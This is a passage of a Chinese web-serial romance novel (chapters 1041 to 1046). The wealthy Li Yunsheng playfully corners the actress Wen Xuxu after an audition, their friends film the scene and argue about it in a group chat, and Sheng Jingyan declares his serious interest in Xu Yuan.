说实在的,盛景炎跟黎云笙关系好,但从没看过黎云笙有特别在乎过哪个异性,但温栩栩出现后黎云笙就越来越奇怪。 他竟然能从黎云笙脸上看出黏人两个字。 黎云笙黏人。 但凡是帝城圈子里的,谁不知道黎云笙的性子有多冷,这人就跟“黏人”不沾边。 这人现在就跟被掉包了一样,怎么说呢?大概就像是……恋爱脑? 盛景炎此刻都被自己的想法惊了下。 豁,说黎云笙是恋爱脑,那是有点离谱了。 盛景炎想到“恋爱脑”这词儿,这会儿总忍不住往黎云笙脸上瞟,怎么看怎么别扭。 实在没忍住,凑到许愿耳边小声嘀咕:“你看他像不像恋爱脑。” 跟刚认识没多久的已经爱慕上的异性说自己兄弟是恋爱脑,也就盛景炎这人能干得出来这事儿。 许愿诧异。 她可没忘那天晚上在华庭黎云笙跟自己对视的时候眼底带着的几分敌意,这人的冷是从内二外那种冷,绝不是什么外表看着冷实则内心热情似火的男人。 这人会恋爱脑? 许愿不信。 盛景炎意味不明的轻笑了一声,不信就不信吧,也就越是黎云笙这种才越容易恋爱脑呢。 第1041章 盛景炎这死狐狸 盛景炎自己在心里给自己兄弟扣了一顶恋爱脑的帽子,倒是完全没想过自己未来也不遑多让,甚至壁黎云笙更先恋爱脑了。 温栩栩还在台上跟其他人配合演戏,她是能感受到黎云笙的眼神一直落在自己身上没有移开的。 她觉得这人真是奇怪,明明有自己的青梅,明明喜欢他自己的青梅,为什么还要一直接近自己。 自己看着是什么很好戏耍的人吗? 温栩栩心里有一点难过,但还是强撑着搭戏,就当练习了。 只是这次再没有不经意的去看黎云笙,因为会不受控制的被他的眼神锁住然后移不开视线,会觉得自己完全受限于他。 心会乱,会慌,她会怕。 她深吸了一口气,强迫自己收回视线,跟来试镜的演员继续对戏。 一直到中午,秦导先暂停了试镜,下午的试镜时间是从两点开始,所以温栩栩有足够的时间。 温栩栩直接就想开溜,完全不想对上黎云笙,结果人还没出会议室就见盛景炎倚靠在门边笑眯眯的瞧着她,怎么看都是一只摇晃着尾巴的悠闲看戏红毛大狐狸。 啊不对,不是摇晃一条尾巴,以这人的道行,怎么也该是在摇晃九条尾巴了。 温栩栩:“……” 不是? 黎云笙来就来吧怎么还带盛景炎来了? 总不能真的是来专程堵她的,还为了这事儿把自己兄弟叫上了?不至于吧。 叫盛景炎怎么不叫韩越韩城呢? 温栩栩此刻觉得自己脑子不够用了,但稍微想了下就大概清楚了,叫了韩越那韩城肯定肯定会来,韩城来了那就指不定帮谁了。 毕竟韩城的胳膊是一直往自己这边拐的。 “温小姐,跑什么啊,在躲阿炎?”盛景炎此刻还在笑,可温栩栩就是能从盛景炎的笑里面察觉出幸灾乐祸。 知道还说出来?真的是狐狸吧! 果然,这人就是来看戏的吧。 温栩栩实在是很不想跟着人一般见识,但盛景炎这会儿就跟盯上她了似的一直没有移开眼,脸上的笑容也分外明显。 哦,也没挪地儿,就这么堵着。 “盛少不如先让开一点地方,我想去吃饭,现在这个时间是午餐时间。” 温栩栩实在是只想跑了,再不跑就真的来不及了。 盛景炎继续微笑:“温小姐要去吃午饭吗,那不然跟我们一起?顺便的事,也不是没有一起吃过。” 挖坑是吧。 死狐狸。 温栩栩想瞪他,盛景炎继续笑眯眯,然后抬起手指了指她身后:“不好意思,阿炎已经在你身后了,要不你先回头看一眼呢?倒是不必记着继续瞪我了。” 温栩栩:“……” 温栩栩心里再一次暗骂了一句死狐狸。 温栩栩此刻已经不敢转身了,真的很怕对上黎云笙那张冷峻的脸,看到他就会想到黎云笙有一个青梅是苏婉。 满脑子都会是,既然有了青梅为什么还要来招惹自己的想法。 她甚至觉得自己现在都有些魔怔了。 像是有点完全陷下去的感觉。 明明被警告过,却还是控制不住,然后一遍又一遍的去想苏婉。 她昨晚在家里面搜索了苏婉的资料,苏婉的相貌是很好的,她带给人的是一种温婉优雅的气质,甚至她的面容跟苏婉就几分相像的,苏婉拿到的那些资源温栩栩也有看过,确实大部分都是黎云笙给的。 她看着那些内心里面的慌意也愈发深了。 是她自己都说不出来的那种慌意。 如果不在乎,黎云笙不会为了苏婉到这一步。 特意为苏婉投资的选秀综艺,苏婉的代言,苏婉参加的国民综艺黎氏也有代言,甚至于苏婉生日黎氏这边也花钱为苏婉做了无人机表演和各种大屏来庆祝,在当天还给了苏婉一个国际的奢侈品代言大单以及大导演的电影女配角的资源。 他喂的饼每一个都是顶级的。 苏婉也确实争气,在短时间内成为了娱乐圈有名的二线女星,也确实已经出圈了。 苏婉的粉丝只知道苏婉是苏家千金,背后靠着苏家,知道这是千金小姐闯娱乐圈,却根本不知道苏家已经千疮百孔,现在支撑着苏家的事苏婉拿到手的那些片酬那些代言费。 而那些资源也全部都是黎氏喂给她的。 因为在意,才会这样大方的把一切都给苏婉吧。 温栩栩只要想到这些就会忍不住多想,越想越深,越想越难过。 就是不明白,有喜欢的人,为什么还要接近自己,离自己远一点不好吗? 自己不是已经明确表示自己不想玩什么爱情游戏吗? 温栩栩不敢转身,这样的窘迫让盛景炎瞧出来了。 盛景炎轻笑一声:“温小姐这是在害怕阿炎吗?不敢转身了?别害怕,阿炎又不是什么洪水猛兽,不会伤害你的。” 温栩栩:“……” 就是说,真的不能来个人管管他那张嘴?就没有消停的时候吗? 温栩栩深吸一口气,最后还是转身了,只是动作有点僵硬,看得出很不情愿。 男人果然就在她身后,两人距离很近,方才温栩栩刻意忽略黎云笙的存在,但此刻触及男人一角衣袖,都觉得满目眩晕好像弊端已经嗅到男人身上淡淡的清冷的香气。 她有些不敢抬眼,她总觉得黎云笙那双眼睛有点吓人。 不是说丑陋更不是因为难看,而是觉得……太漂亮。 自己总会不受控制的被他那样的眼神引入其中。 温栩栩的心跳的又有些快了。 只要想到他就是会心跳加速。 “不敢看我?”男人嗓音低沉,几乎是压着声音在她耳边耳语的程度。 温栩栩觉得自己耳朵热热烫烫的,大概是红了。 好没出息,听到声音都会耳朵红。 温栩栩抬手捏了捏自己的耳朵,隐隐的觉得有点发烫。 “我没有不敢看你,我就是不想看你。”温栩栩小声嘀咕。 彼此之间的距离这样近,这样小的声音也能完全听到对方说了什么。 “为什么不想。”他问。 温栩栩抬眼,眼神里似乎带了几分怨怼,像是在骂他,好像在说“你还敢问。” 第1042章 真以为我拿你没有办法? “所以为什么不敢看我”黎云笙的嗓音低醇,几乎贴着她耳廓碾出震颤。 温热的气息拂过耳畔,温栩栩的耳尖瞬间烫如烙铁,连耳垂都染上绯色。 她无意识地抬手捏住耳垂,指尖触到肌肤时竟像触到灼炭,那热度从指尖窜入心脏,搅得胸腔里翻涌起陌生的悸动。 太丢脸了 她暗自咒骂自己的敏感,却在下一秒被黎云笙的气息锢得更紧。 他分明站在咫尺之外,此刻却像将整个身形的阴影都压向她,仿佛无形的绳索将她困在两人构筑的狭小磁场中。 温栩栩捏耳的手势愈发用力,试图将躁热掐灭,耳尖却愈发红得透亮,像熟透的樱桃悬在瓷白颈侧。 “我就是不想看你。”她小声嘀咕,声线细若蚊蝇,却被黎云笙尽数捕入耳中。 空气凝滞的刹那,她甚至能听见他喉间滚出的轻笑,低哑如弦琴拨错了音。 彼此的距离近到能看清此刻垂落时在她瞳孔里投下细碎的影。 他忽然逼近半步,温栩栩被迫仰头对视。 他的瞳色是罕见的琥珀与墨的交融,此刻凝着幽火,仿佛要将人溺毙在其中。 她的心跳在骤缩的瞳孔里漏了一拍,呼吸乱得像被风扯碎的绸带。 那目光太烫,烫得她眼眶泛起酸涩,却倔强地不肯眨眼。 四目交缠的裂隙间,她分明看见他眼底有风暴在蛰伏。 “为什么不想。”他问,尾音勾着危险的弧度。 温栩栩喉头哽住,抬眼时眼神带着点轻微的恼意。黎云笙这样重复的问着问题却也没等到温栩栩的回应便忽然抬手,指节擦过她发烫的耳尖,凉意与灼热相撞的瞬间,温栩栩浑身颤如遭电击。 暧昧在此刻如丝缠绞,两人间的气流稠得能掐出水。 她仓皇后退半步,他却从容收手,像是又在故意逗弄她了。 温栩栩攥紧掌心,耳尖的红潮仍未褪去,心跳仍在为那短暂的触碰疯窜。 她抬手想推他,指尖刚触到他胸膛便像被烫缩了回去。 力气太小,没能推开男人,反倒仰首撞进他含笑的眸中。那笑容褪去了三分冷意,眼尾挑起的弧度狡黠如狐狸,竟让温栩栩想起了盛景炎,那红毛狐狸惯常挂着这般戏谑的笑,连眼底的调侃都如出一辙。 怪不得这两个人人是朋友,其实都是狐狸吧。 盛景炎是张扬的赤狐,黎云笙却是雪色玄狐,韩越蛰伏如白狐,唯独韩城像只莽撞的哈士奇,身上总有种想拆家的气质。 温栩栩看着面前的男人,其实是很想伸出手去触碰面前的男人,但因为还记得黎云笙是个渣男的事情,所以抑制住了自己想要伸出手触碰他的冲动。 温栩栩深吸一口气又开始想跑了,可手腕被男人紧紧的握住。 面前男人松松握着她欲逃的手腕,掌心温度透过薄衫渗进肌肤,她嗅到他身上淡淡的香气,不似其他男人惯用的浓烈香水,而是檀木混着雪松的清冷,又掺着一缕若有若无的柑橘涩香,像是远山晨雾里新劈的竹,清冽中裹着隐秘的甜。 这香气太熟悉,却又陌生得让她心颤,记忆里分明从未这般近地闻过,此刻却仿佛浸在香雾中,连呼吸都变得黏稠。 这种味道甚至想让人赖在他身边,想要亲吻。 念头如野藤蔓生长,温栩栩慌忙掐断思绪。 他会下蛊的吧? 就像那些传说中勾人心魄的妖狐,用香气织网,用目光缠绳,将人困在咫尺之地动弹不得。 可黎云笙此刻望着她,眼底哪有半分蛊惑? 不过是含着笑,任由她指尖在他腕间挣动,像逗弄困在掌心的雀。 是的,她就是觉得黎云笙只是把自己当做随时可以困在身边的鸟雀。 温栩栩深吸一口气,企图抽回手腕,却被他五指收拢,力度不重,却稳得像铁箍。 两人距离骤近,她该离他远些,可指尖却无意识地摩挲着他掌心的茧,那茧生在虎口处,应是常年执笔留下的痕迹。 这般想着,耳尖更烫,连带着脸颊都烧起来。 黎云笙垂眸凝视她,温栩栩觉得自己要溺毙在这目光里了,偏偏他松了手,退开半步,笑意却仍勾在唇角:“跑什么?我又不会吃了你。” 此刻的温栩栩甚至不愿睁眼看他。 她太清楚黎云笙那双眼的魔力,不是说他对她情深似海,而是那双眸子仿佛能织出一张情网,任谁陷进去都会错觉自己是他的唯一。那眼神太深太沉,深得像能将人溺毙的幽潭,沉得似能将心都完全吸进去。 温栩栩怕自己也会被这假象蛊惑,怕生出“被爱着”的错觉,继而变成恋爱脑的无用傀儡。 于是她索性闭眼耍赖,耳尖却悄悄烧红。 所以,不想去看她,不能去看她。 哼,大庭广众之下,他总不能真如传闻中那般霸道,蒙住她的眼再把她关起来。 这么多人看着呢,真要这么做,丢人的可是他。 温栩栩唇角翘起三分,笑意里掺着孩童赌气的骄矜,像只藏起尾巴的狐狸。 她自己觉得盛景炎和黎云笙像狐狸,却不知道她自己也像狐狸了。 黎云笙 注意到她唇角微微上翘了几分,明显带着笑意,有点小骄傲的样子。 黎云笙觉得手有点痒,想去捏她的耳朵。 黎云笙瞧着她这副模样,喉间滚出低笑,掌心痒得厉害,恨不能捏住那通红的耳尖,她耳朵生得精巧,耳垂圆润如珍珠,此刻染了羞色,倒像浸了胭脂的软玉。 “温栩栩,又耍赖?”他嗓音压得极低,热气拂在她耳畔,激得那抹红潮蔓延至颈侧。 温栩栩心道:哼哼,怎样? 她闭眼时睫毛投下的影在脸颊上晃,黎云笙的目光便黏了上去。 “故技重施?真以为我拿你没有办法?”他问,尾音勾着危险的弧,却无半分怒意,倒像是逗弄困兽的猎人。 他又凑近些,温栩栩觉着自己成了他笼中的雀,而他正用气息织网,一寸寸收拢。 男人灼热的呼吸在耳边倾洒,温栩栩连闭眼都挡不住那酥麻的痒。 她知他又在故意撩拨,这坏男人惯会拿捏人心的。 可她却无计可施,只能将睫毛压得更低,像蚌壳紧闭,拒那浪涌侵入。 第1043章 再躲? 会议室的气流仿佛在此刻凝滞了,周遭的喧嚣似被隔绝在外,唯有两人间的温度在攀升。 黎云笙的影子覆在她脸上,如羽毛拂过,他指尖悬在她耳畔,欲触未触,似在等待她溃败的瞬间。 “这么多人呢……”温栩栩终于出声,声线细如蚊蝇。 黎云笙却忽而轻笑,那笑里藏着狐狸得手的狡:“那又如何?” 他指尖终是落下,不轻不重地刮过她耳廓,凉意与灼热交织,激得她浑身颤栗。 温栩栩睫羽骤颤,睁眼欲瞪他,却撞进他眼底的幽潭,那潭水深处竟浮着星火,似要将她焚尽,又似要将她溺入永恒的温柔。 她慌忙闭眼,心跳却已乱了章法,如擂鼓震耳。 黎云笙的手仍悬在她耳侧,似要继续那未尽的撩拨,却又克制地收回。 温栩栩觉出他指尖的留恋,耳尖的红潮愈发汹涌,连掌心都沁出薄汗。 她想逃,想骂他渣男,想斥他无礼,可喉头却哽着莫名的甜涩,像被塞了未熟的杏,酸与甜在喉间撕扯。 这男人太坏,但就是让人觉得明知危险,却让人忍不住贪那一口蚀骨的甜。 温栩栩将眼睛闭得更紧,颇有一副“我就是耍赖你能奈我何”的无赖模样。 这副倔强又娇憨的姿态,像极了幼猫护住尾巴的稚态,黎云笙险些被气笑,却又觉得胸腔里某处软得一塌糊涂。 他指尖捏住她耳尖,力道轻得像拈花瓣,却揉搓得她耳廓瞬间染上绯红。 温栩栩敏如触电,往后缩了缩身体想躲,后背却撞上冰冷的墙面,瓷砖的凉意渗进脊骨,身前却是男人灼热的胸膛,他几乎将整个身形压了过来,呼吸缠在她颈侧,像无形的锁链将她困在方寸之地。 她是真的慌了,心跳在胸腔里乱撞。 黎云笙轻笑出声,尾音勾着逗弄的弧度:“再躲?” 他唇瓣几乎擦过她耳畔,热气燎得她耳尖更烫,连耳垂仿佛都要软下来了。 温栩栩咬唇不语,似乎是有些羞窘,却又没有完全躲开。 一旁盛景炎目睹全程,直呼好家伙。 他倚在门框边,双臂环胸,眼底闪着八卦的火花。 真是好家伙啊! 以前黎云笙何时做过这般轻佻的姿态? 此刻他堵着温栩栩的模样,活脱脱像个拦路调戏小姑娘的臭流氓,眼角眉梢都挂着不正经的笑。 可那笑里又裹着某种克制,像是雪狐逗弄掌心的雀,舍不得真伤,只图看那慌乱的趣儿。 黎云笙还能要点脸吗? 盛景炎暗笑,指尖却快如闪电,对着两人拍了段视频。 拜托,黎云笙耍流氓的场面,看一次少一次,这不得录下来当宝贝? 等以后他结婚了,把这视频当新婚礼物送出去,绝对非常有意思。 损友之间,不就是以这种缺德的方式纪念“兄弟的黑历史”么? 这几人里最损的当属盛景炎,没坏心却爱撺掇乱七八糟的事儿。 他倒不是不帮温栩栩,而是打心底觉得两人之间是你情我愿的戏码。 当初温栩栩靠近韩城,不也是为了攀上黎云笙这棵大树? 如今目的达成,他若凑过去搅和,反倒成了碍事的。 于是盛景炎乐得看戏,直接把视频拍好后发到了几个人的群里面。 温栩栩完全不知道盛景炎拍了视频,她只觉身后是刺骨的冷墙,身前是燎原的暖火,黎云笙的气息将她围困成孤岛,连逃的余地都不给。他指尖仍在她耳尖徘徊,像在描摹珍宝的轮廓,又似在丈量她溃败的界限。 许愿中途去接了一通电话,现在才回来的,结果就看到黎云笙在壁咚一个年轻女孩子。 她挑眉。 她对黎云笙是很有印象的。 她记得黎云笙那晚对她是很厌恶的,是那种说不出的厌恶感,现在却对这个女孩子这么…迁就? 说不出来的感觉。 许愿也想八卦看戏了。 许愿踩着高跟鞋款款走向盛景炎,眉梢轻挑,语调里带着三分戏谑:“发生了什么事?” 她确实不知内情,方才因薛酒来电匆匆离席,此刻归来见盛景炎倚在廊柱旁,笑得活像只偷腥的黄鼠狼,平日那股玩世不恭的浪荡劲儿都褪了三分,倒添了股子窥见秘事的雀跃。 她循着他目光望去,霎时认出被黎云笙壁咚之人是温栩栩,台上那个将唐颖灵魂注入血肉的演员。 许愿记得她,记得她眸中流转的悲悯与桀骜,记得她嗓音里的颤音。 此刻见她被黎云笙困在墙隅,眉间不禁蹙起涟漪。 许愿与盛景炎的关系不过泛泛,只因他砸了巨额投资,她才赴这场试镜宴。 未曾想盛景炎竟知晓她痴迷《灵媒》,特意邀她观戏,这邀约如春日骤雨,淋得她心头莫名发烫。 她原以为今日只是例行公事,岂料撞见这一幕,更瞥见自己心仪的演员,眉梢那抹惊奇便更深了些。 她目光一直落在温栩栩的身上并未移开,眉梢微微挑了下。 她确实是不太清楚情况,看到黎云笙这么堵着温栩栩,还真当是恶霸要欺负人了,所以眉头轻微皱起,淡淡道:“你就只看着?” 盛景炎被她这质问噎得轻咳一声,喉间滚动的笑意险些呛出:“还拍了……” 许愿:“……?” “起诉他的证据资料?”许愿问。 她的意思是拍下来的视频是不是拿来起诉黎云笙性骚扰的。 盛景炎愣在当场,指尖悬在半空,摸鼻子的动作滞了半拍。 起诉黎云笙? 这俩分明是暗潮汹涌,明显都是你情我愿啊,哪来半分强迫? 他喉头哽了半晌,才憋出句:“你看,温栩栩没有不同意的。” 许愿默了,目光如刃,剖向那墙角二人。 温栩栩耳尖红透,睫毛颤如惊蝶,却未挣未躲,黎云笙唇角勾着笑,指尖仍在她耳畔流连,像猎人逗弄困兽,眼底却浮着旁人难察的柔。 许愿瞧得清楚,这哪是欺凌? 倒真的像是在有来有往了。 她目光不由得落到温栩栩和盛景炎身上,最终想到黎云笙那张俊美的面容从容的点头:“的确,没有不同意,他长那样,她这样的反应也的确正常。” 第1044章 是黎云笙不守男道! 黎云笙的相貌确如神斧雕琢,棱角分明如冷玉,眸中星辉流转似银河倾泻,那属实没的说。谁见了不赞一句“黎少风华无双”? 盛景炎却似咽了酸杏,喉间轻啧一声,眉眼之间都带着几分不服气。 他忽地倾身,将那张俊脸怼到许愿眼前,鼻尖几乎擦过她鬓边的碎发,唇角漾着三分玩笑七分试探的弧:“你看看,再仔细看看。” 许愿就看到这人的脸怼过来,这要怎么说?她也从没说过盛景炎不好看啊,这人长得好看也是有目共睹的。 只是怎么突然就比起这些了? 许愿眉峰微蹙,抬眼便撞进他眼底,那双惯常含着浪荡的眸子此刻竟褪了嬉色,浮起某种跃跃欲试的灼意,像暗夜蛰伏的兽嗅到了猎物的气息。 她退半步,脊背抵上雕花廊柱,大理石凉意渗进衣料,却不及他灼息烫人。 “什么?”许愿开口,有些茫然。 她自是知晓盛景炎生得好看,他五官如泼墨画,俊朗中透股子不羁的野,在圈里也素有“玉面狐狸”之称。 只是此刻他这般较劲,倒莫名滑稽。 她正欲调侃,却见他喉结滚了滚,压低了声线:“如果换做是我这般对你,你会反抗吗?” 尾音勾着钩,似要钓她心底的隐秘。 许愿睫羽颤了颤,她那么聪明怎么会不明白这话表面是玩笑,内里却藏着试探暧昧的线。 她凝眸与他直视,见他瞳孔里映着自己的影,如镜中镜,叠出几分朦胧的惑乱之意,若非面前的人是许愿,怕是已经被他此刻的眼神迷得神魂颠倒了。 须臾,她绽出个笑:“会哦,我会让你……失去生育能力。” 盛景炎闻言眉梢一抖,似被烫了指尖,眼底却迸出更亮的兴味,显然是一点都不慌的。 他退开半步,指尖虚抚下颌,状似遗憾:“啧,可惜了。” 许愿睨他这副模样,心底那缕隐秘的痒又蔓了几分。 她知盛景炎惯会调笑,却分寸如棋,从不过界。 此刻这“耍流氓”似的行径破有点像演出来的。 盛景炎却有些遗憾自己不能耍流氓似的,不过这人如果真要做什么其实也不会主动开口,许愿就当这人在活跃气氛了,毕竟她不认为盛景炎是这种不知道分寸的人。 许愿的目光仍胶着在那二人身上,她确是在忧心温栩栩被欺凌,指尖早已蓄力,预备随时将人拽离险境。 亲眼见温栩栩抬手推搡,却软绵绵未能推开分毫,她当是温栩栩在奋力反抗却力竭,脸色霎时阴沉如墨云压城。 她疾步冲上前,一把攥住温栩栩手腕,将她护至身后,如母狮护崽。 “黎少这样未免也太过分了一些!”她开口斥责。 特别过分的黎少:“……” 被护住的温栩栩:“……” 看戏的盛景炎“啧”了一声。 特别过分的黎少静默而立,眉峰微不可察地动了动,似有笑意在眼底蛰伏。 被护住的温栩栩僵在原地,耳尖烫得能烙饼,可自己方才那动作……真能算推搡吗? 她偷眼上瞟,见黎云笙下颌绷着冷硬的线,喉结却在她目光掠过时滚了滚,像在隐忍着什么。 再看许愿因为这件事生气模样,她心虚得连呼吸都短了半拍。 那什么……刚才确实不是在欺负吧? 温栩栩在心底疯狂自辩。 她刚才那推,不过是借口挣开些距离,好偷偷摸摸……摸他。 对,就是摸! 谁让这男人堵她时故意将胸膛抵得这般近? 那肌理紧实,触感烫得人心尖发颤。她推时指尖不慎蹭过他腹肌,惊觉手感堪比上等羊脂玉,一时没忍住又捏了把,再推再捏,反复几次,倒像调戏良家妇男的浪荡子了。 哼,是黎云笙不守男道! 她也就是不小心犯了所有女人都会犯的错啊,又不是故意的。 哪个女人不爱好美色啊,谁让黎云笙长成这样还出来晃悠还故意堵住她,那不就是故意想要被她摸吗。 温栩栩在心头给他扣了顶大帽子,泼了盆脏水。 谁让他长得这么好看的,这分明是勾她犯罪! 她占了便宜,理直气壮了,爽了,连脊背都挺得直了些,只不敢与黎云笙对视,就是会觉得丢脸,主要还是觉得会被黎云笙带走教育。 “温小姐,他是不是在欺负你!”许愿是真动了气。 在她看来,黎云笙仗着男人力气大,将人困住还不知收敛,简直是恃强凌弱! 她攥着温栩栩的手腕愈发紧了,似要完全将她护住不给黎云笙可乘之机。 温栩栩被她这凛然模样烫得心头发软,又瞥见黎云笙仍沉默着,目光却黏在她脸上。那目光里有无奈,有纵容,还有一缕隐约的宠,叫她心跳乱如擂鼓。 盛景炎在旁“啧”了声,尾音拖着看戏的调。 他早瞧出温栩栩那“反抗”的猫腻——推时指尖蜷着,分明是借力摸人,哪有半分抗拒的狠劲? 此刻许愿这般误会,倒成了场好笑的乌龙。 他倚着廊柱,指尖摩挲着手机,视频里黎云笙堵人的画面仍在回放,好的,随材又多了一些。 温栩栩一时没开口,许愿又问温栩栩是不是被黎云笙欺负了。 她心头小鹿乱撞,面上却演得十足无辜。又在心里给黎云笙扣了顶“恃强凌弱”的锅,下一秒,她大言不惭地点头,嗓音脆生生如敲银铃:“对,他欺负我!”尾音还故意拖出三分委屈的颤,仿佛真受了天大冤屈。 才被又摸又掐还差点被温栩栩凑上来咬一口的黎云笙:“……”有时候真的是低估了温栩栩的厚脸皮程度,她真是永远都能做出令自己意想不到的事情来。 他舌尖抵了抵后槽牙,喉间溢出一声气笑,这女人,脸皮厚得能砌城墙! 她掐他腹肌时没用力?偷摸那几下力道也是跟故意撩拨似的,如今倒扮起受害者的戏码。 他真是被气笑了,或者说,被温栩栩这无赖劲儿气笑了。 若此刻温栩栩在他跟前,他定要擒住她那张圆鼓鼓的脸蛋,指尖使力捏一捏,看是不是真如城门砖般厚实。那念头烫得他掌心发痒,连指节都隐隐绷了力。 第1045章 你知道你这样很像恶霸吗 温栩栩却在他怔愣时偷觑他,从许愿身后探出个毛茸茸的脑袋,如松鼠钻树洞。 她悄咪咪地眨巴着眼,还冲他扮了个鬼脸。 一副“你抓不到我”的表情,属实气人,就跟故意的要招惹黎云笙似的。 黎云笙眼尾抽了抽,嗤笑出声:“盛景炎,你带来的。” 这说的是许愿。 而且似要将这“烂摊子”全推给盛景炎。 盛景炎倒是熟稔地接过戏,笑眯眯踱上前,掌心虚拦在黎云笙胸前:“对,我带过来的,我的合作伙伴许总。” 说完他倒是没把温栩栩揪回去,反倒是拦住黎云笙,冲许愿使了个眼色:“快走。” 他语调如抹蜜,却暗藏打圆场的机锋,话音未落便冲许愿使了个眼色。 许愿也跟他很默契,看他过来赶紧就带温栩栩跑远了。 盛景炎满脸欣慰,嗯,不愧是阿愿,就是跟他很默契,他们果然天生一对儿。 被拦住的黎云笙:“……” 就没有人替他发声吗? 黎云笙已经记不起这是今天第几次被气笑了,先是因为温栩栩再是因为许愿,现在更是因为盛景炎,一个两个的全都蹦跶到他的面前,全都跟来拆台的一样。 “盛景炎,你还知道你自己站哪边的吗?”黎云笙压下内心那点火气开口询问。 盛景炎却答得比翻书还快,唇角勾着惯常的浪荡弧:“当然是阿愿那边。”那“阿愿”二字从他舌尖滚出,竟裹着层蜜似的甜,连尾调都漾着缱绻。 黎云笙眉峰抖了抖,觑他这副模样,眼神古怪得像在瞧外星异物。 “你新搭子?”这话脱口时,黎云笙自己都觉荒唐。 毕竟盛景炎的“搭子”史堪称传奇,青梅竹马的世家小姐能列半本花名册,红颜知己更是如走马灯似的换。有时今儿是戏里扮情侣的女星,明儿又成了商宴上攀谈的才女,他身边永远不缺莺莺燕燕,如今他身边没了演戏搭子,许愿这突然冒头的“战友”,确实像极了他的新靶子。 盛景炎觉得自己被侮辱了。 眉梢倏地拧起来:“不是搭子,是……我想追求的人,你应该能看出我有多认真。” 他脸上嬉色褪得干干净净,郑重得连呼吸都敛了几分。 黎云笙瞥他一眼嘲道:“看不出你有多认真,但看得出你有多气人。” 气的不是许愿,是他。 不过黎云笙觉得自己对盛景炎说这话盛景炎估计还要得意,完全不觉得有什么问题,所以黎云笙索性不说了,真说了最后被气到的也只会是自己。 该说不说,黎云笙还是很了解盛景炎的。 盛狗也不是白叫的。 “盛景炎,韩城说你是盛狗,倒不是没原因的。” 盛景炎却懒得反驳。 他知黎云笙这脾性,刀子嘴豆腐心,若真恼了早甩袖走人,此刻还在这儿阴阳,分明是半恼半好奇。 他索性坦了底牌:“以前那些算什么搭子?逢场作戏罢了。许愿不一样,她聪明、锋利、活得清醒,简直处处都跟我登对,绝配。”他说着,“我瞧见她第一眼,就知道这局棋难下,但值得。” 黎云笙静默了瞬,眼底那嘲色悄然褪了。 他素知盛景炎玩世不恭的壳底下藏着识人的毒眼,能让他这般剖心,许愿确非寻常。 可醋意仍窜上喉头:“难下?我看你是自讨苦吃。那姑娘瞧着心冷得像冰,你拿什么化?” 盛景炎轻笑:“拿我这点真心。” 所以说要追求许愿,不是玩笑,而是真的打算追求,她是认真的。 这两人在一起,完全不知道刚下大课的韩城已经彻底癫了。 他压根不知道黎云笙和盛景炎没来上这课,甚至完全不知道两人去哪里了,结果下了课才看到盛景炎拍的视频,视频里赫然就是黎云笙在壁咚温栩栩。 不是? 黎云笙那狗怎么又去招惹他兄弟了? 黎云笙那狗没完没了了吗? 韩城在群里吱哇乱叫。 【韩城】@全体人员。 【韩城】:黎云笙你离我兄弟远一点好不好!你怎么又去欺负我兄弟了! 【韩城】:真就不能看到我兄弟然后绕道走吗! 【韩城】:你知道你这样很像恶霸吗? 提到温栩栩,没人会比韩城更激动了。 那也没办法啊,毕竟在韩城眼里温栩栩是被自己带进这个圈子的,虽然最开始温栩栩是用男人的身份进圈子的,但那会儿温栩栩也没想着跟黎云笙发生这种关系啊? 温栩栩最多就是想当黎云笙的小弟哎! 小弟跟情人,那可就差得太多了! 所以他现在就是要维护温栩栩的利益要跟黎云笙杠上了,我们韩少的三观还是非常正的,在韩少眼里,温栩栩这个兄弟的分量是非常重的。 韩越也看到了在群里蹦跶乱叫的韩城,一时有些无奈,有时候韩城未免也太跳脱了点。 死孩子是真看不出来黎云笙和温栩栩两个人明显是你来我往你情我愿的啊。 他和盛景炎又不是什么真的混不吝,黎云笙也不是那种喜欢玩女人的纨绔,如果温栩栩真的不愿意,他根本都不会做这些,就算真喜欢有别的打算也会真的去追求,而不是现在这样。 怎么就看不明白呢。 韩越忍不住想了下韩城初中时期收到情书,对方女孩子约她去学院后面的小公园碰面,他还以为对方要跟他约架,人女孩子都已经在场地摆好蜡烛和气球了,就连在空中摆爱心和告白的无人机都准备上了,结果韩城觉得自己去势单力薄,所以喊上了他们几个一起去,气势汹汹的。 看到地上的蜡烛还吐槽这是不是想在蜡烛中间打自己,看到无人机都怀疑里面是不是放了什么恶作剧炸弹。 那会儿的韩城正是中二期,甚至问对方是不是打算用炸弹炸死自己,当时的韩城特别有担当的还告诉对方女孩子让他们几个先走,炸他一个就够了,特别的大义凛然。 韩越当时听到韩城冒出这么句话整个人都是满头问号的状态,当时都特想问一句你到底知不知道你自己在说什么? 显然韩城不知道自己在说什么,还特别紧张,生怕女孩子炸死自己,还悄咪咪跟他说“哥,你快带着阿笙和盛狗跑,说不定我能变假面骑士呢。” 神经病吗不是? 第1046章 男孩子怎么能好看成这样 岛国动漫特摄看多了?你怎么不说你能变成光呢? 韩越都担心那天之后韩城身上多个智障的标签。 好在那女孩子当时也被雷到了,可以说根本不知道要怎么面对韩城的程度,她都不好意思跟别人讲这段,会觉得实在丢脸。 能理解,毕竟如果换做是他,也会觉得喜欢一个二货丢脸。 韩城也是过了很久才知道对方喜欢他,可以说是反射弧特别长,满脑子都是中二想法,根本不懂什么是早恋。 但是韩越都担心韩城以后总不该看到别人接吻都以为对方在互相咬人吧,不过好在还没蠢到这种地步。 当然他也没好多少,还是癫癫的,不然不会看不出黎云笙温栩栩之间的事。 韩越有些忍不住的捏了捏眉心在群里回他。 【韩越】:你别吵了,温栩栩愿意。 【韩城】:那不行,她愿意也不行,阿笙渣男的啊,阿笙都有苏婉了,不能继续黏着温栩栩。 到底谁跟你说阿笙有苏婉了! 给资源不代表喜欢啊!只是帮了一把啊! 韩越不想管了,算了,如果韩城真的想当黎云笙和温栩栩之间的爱情挂件的话,那他也拦不住。 韩城在群里还在嚷嚷,黎云笙终于回应了。 【黎云笙】:好吵,消息免打扰了,别私聊我,暂时屏蔽小黑屋了。 【韩城】:黎狗你不要太过分啊! 这次黎云笙没再回了。 韩越捂脸,这都是可以预见的结局啊。 …… 许愿带着温栩栩离开宴会厅后,并未走远,径直前往附近那座宛如金色堡垒的星级酒店酒店。 薛酒倒是也跟过来了,陆斯年没来,因为临时有点工作需要处理,薛酒跟来是担心盛景炎欺负许愿,所以一直在附近待命呢。 酒店大堂穹顶缀着水晶吊灯,光瀑倾泻而下,将大理石地面镀成粼粼的镜湖。 许愿踩着暗纹地毯前行,电梯升至顶楼,门开的刹那便看到了等候在这里的薛酒。 